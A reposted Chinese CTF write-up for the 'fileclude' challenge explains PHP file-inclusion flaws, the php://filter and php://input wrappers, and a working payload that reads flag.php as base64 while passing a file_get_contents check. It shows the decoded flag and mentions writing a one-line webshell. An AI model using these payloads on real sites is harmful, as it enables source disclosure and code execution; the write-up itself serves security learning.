fileclude(文件包含漏洞及php://input、php://filter的使用)

这篇具有很好参考价值的文章主要介绍了fileclude(文件包含漏洞及php://input、php://filter的使用)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

先介绍一些知识

1、文件包含漏洞

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
 

2、PHP file_get_contents() 函数

file_get_contents() 函数用于将文件的内容读入到一个字符串中

和file() 一样,不同的是 file_get_contents() 把文件读入到一个字符串

3、include 语句

包含并运行指定文件

语法
include 'filename';

被包含文件先按参数给出的路径寻找,如果没有给出目录,只有文件名时则按照include_path指 定的目录寻找。如果在 include_ path下没找到该文件,则 include最后才在调用脚本文件所在的目录和当前工作目录下寻找,如果最后仍 未找到文件则include结构会发出一条警告。

4、empty() 函数

用于检查一个变量是否为空。

empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。 这意味着 empty() 本质上与 !isset($var) || $var == false 等价。

当变量存在,并且是一个非空非零的值时返回FALSE,否则返回TRUE。

以下的变量会被认为是空的:

  • "" (空字符串)
  • 0 (作为整数的0)
  • 0.0 (作为浮点数的0)
  • "0" (作为字符串的0)
  • NULL
  • FALSE
  • array() (一个空数组)
  • $var; (一个声明了,但是没有值的变量)

5、isset()函数

用于检测变量是否已设置并且非NULL。

如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。

6、PHP伪协议

指的是PHP所支持的协议与封装协议,在web渗透漏洞利用中常用于配合文件包含进行web攻击,从而获取网站权限。

7、php://input(用于执行PHP代码)

是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据,当enctype等于”multipart/form-data”时php://input是无效的。

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行。

例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码。

遇到file_get_contents()要想到用php://input绕过

用法: ?file=php://input POST:需要写入的数据

8、php://filter(用于读取源码)

 读取源代码并进行base64编码输出

一种元封装器,设计用于数据流打开时的筛选过滤应用。

对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。

打开题目链接,代码审计php://input漏洞,web,CTF,PHP,php,文件包含漏洞,PHP伪协议,web,网络安全file2被放入了file_get_contents() 函数,且要求返回值为 hello ctf

file1是要包含的文件,且flag应该是在文件flag.php里面

我们要想办法来读取这个文件,使用php://filter伪协议来读取源代码

即 file1=php://filter/read=convert.base64-encode/resource=flag.php

这里出现了file_get_contents()函数,想到用php://input来绕过

即 file2=php://input       POST DATA]: hello ctf

所以payload为

/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

且post传入 hello ctf

php://input漏洞,web,CTF,PHP,php,文件包含漏洞,PHP伪协议,web,网络安全

 php://input漏洞,web,CTF,PHP,php,文件包含漏洞,PHP伪协议,web,网络安全

得到一串base64编码

PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtjMjNkY2VlOWYxZTc0NTRlNzVlMTA5OGJlMmZhM2IzOH0=

解码得到源码

php://input漏洞,web,CTF,PHP,php,文件包含漏洞,PHP伪协议,web,网络安全

$flag = cyberpeace{c23dcee9f1e7454e75e1098be2fa3b38} 

存在文件包含时使用PHP伪协议

可能遇到的文件包含函数:
1、include 2、require 3、include_once 4、require_once 5、highlight_file

6、show_source 7、flie 8、readfile 9、file_get_contents 10、file_put_contents 11、fopen

eg:

php://filter/read=convert.base64-encode/resource=[文件名]

读取文件源码(针对php文件需要base64编码)

php://input + [POST DATA]

执行php代码

若有写入权限,写入一句话木马


 

 文章来源地址https://www.toymoban.com/news/detail-647373.html

到了这里,关于fileclude(文件包含漏洞及php://input、php://filter的使用)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【web安全】文件包含漏洞

    目录 1.什么是文件包含漏洞 2.产生原因 3.文件包含的类型 3.1本地文件包含 3.2远程文件包含 4.攻击利用手法 4.1 file:协议 4.2 php://协议 ​4.3 zip://,bzip2://,zlib://协议  4.4 data://协议 4.5 PHP伪协议总结  5.如何防御? 6.常见系统的默认路径 7.文件包含漏洞的奇技淫巧 LFI+日志文件gets

    2024年02月07日
    浏览(45)
  • Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

    文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() 等等 ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞

    2024年02月08日
    浏览(58)
  • Web漏洞-文件包含漏洞超详细全解(附实例)

    目录 一、导图 二、文件包含漏洞 1.脚本代码 2.原理演示 3.漏洞成因 4.检测方法 5.类型分类 三、本地文件包含漏洞的利用 无限制本地文件包含 有限制本地文件包含 四、远程文件包含漏洞的利用 无限制远程文件包含 有限制远程文件包含 五、协议的玩法 读取文件内容 执行代

    2023年04月25日
    浏览(53)
  • 【Web】CTFSHOW PHP文件包含刷题记录(全)

    温故知新。 目录 web78 web79 web80 web81 web82 web83 web84 web85 web86 web87 web88 伪协议base64编码直接读出文件内容就行 一眼data伪协议包含php脚本 data也被禁了,日志包含即可 多禁了一个\\\":\\\",还是可以日志包含 连\\\".\\\"都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下

    2024年02月02日
    浏览(46)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(56)
  • 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数 http://localhost/include/include.php?path=C:windowssystem32driversetchosts ,读取本地host文件 提交参数 http://localhost/include/includ

    2024年02月11日
    浏览(47)
  • 文件包含漏洞及漏洞复现

    程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。 程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设

    2024年02月10日
    浏览(48)
  • PHP包含读文件写文件

    php://filter/read=convert.base64-encode/是编码 http://192.168.246.11/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php ?php @eval($_POST[\\\'chopper\\\']);? 利用包含漏洞所在点,进行读文件,bp抓包后能看到文件的内容 将抓包读取到的文件内容解密 执行netuser命令在bp抓包里面写,构造一

    2024年02月07日
    浏览(48)
  • php内置函数-文件包含的函数

    目录 1.include 2.require  3.include_once 4. require_once 可以将别的文件直接引用过来(被引用的文件含有打印代码的话,会直接打印),如果失败了,会返回一条警告,文件会继续执行下去,通常用于动态包含。 如下,我建两个 php 文件,一个写有函数声明的文件,一个函数调用的文

    2024年01月15日
    浏览(41)
  • 文件包含漏洞学习笔记

    相同内容或方法在多个页面显示或调用,文件包含漏洞又称为目录遍历漏洞或任意文件访问漏洞。分为本地文件包含(LFI:Local File Inclusion),远程文件包含(RFI:Remote File  Inclusion),也可分为静态文件包含,动态文件包含。 页面中直接引用静态文件。 main.php内容如下:

    2023年04月08日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包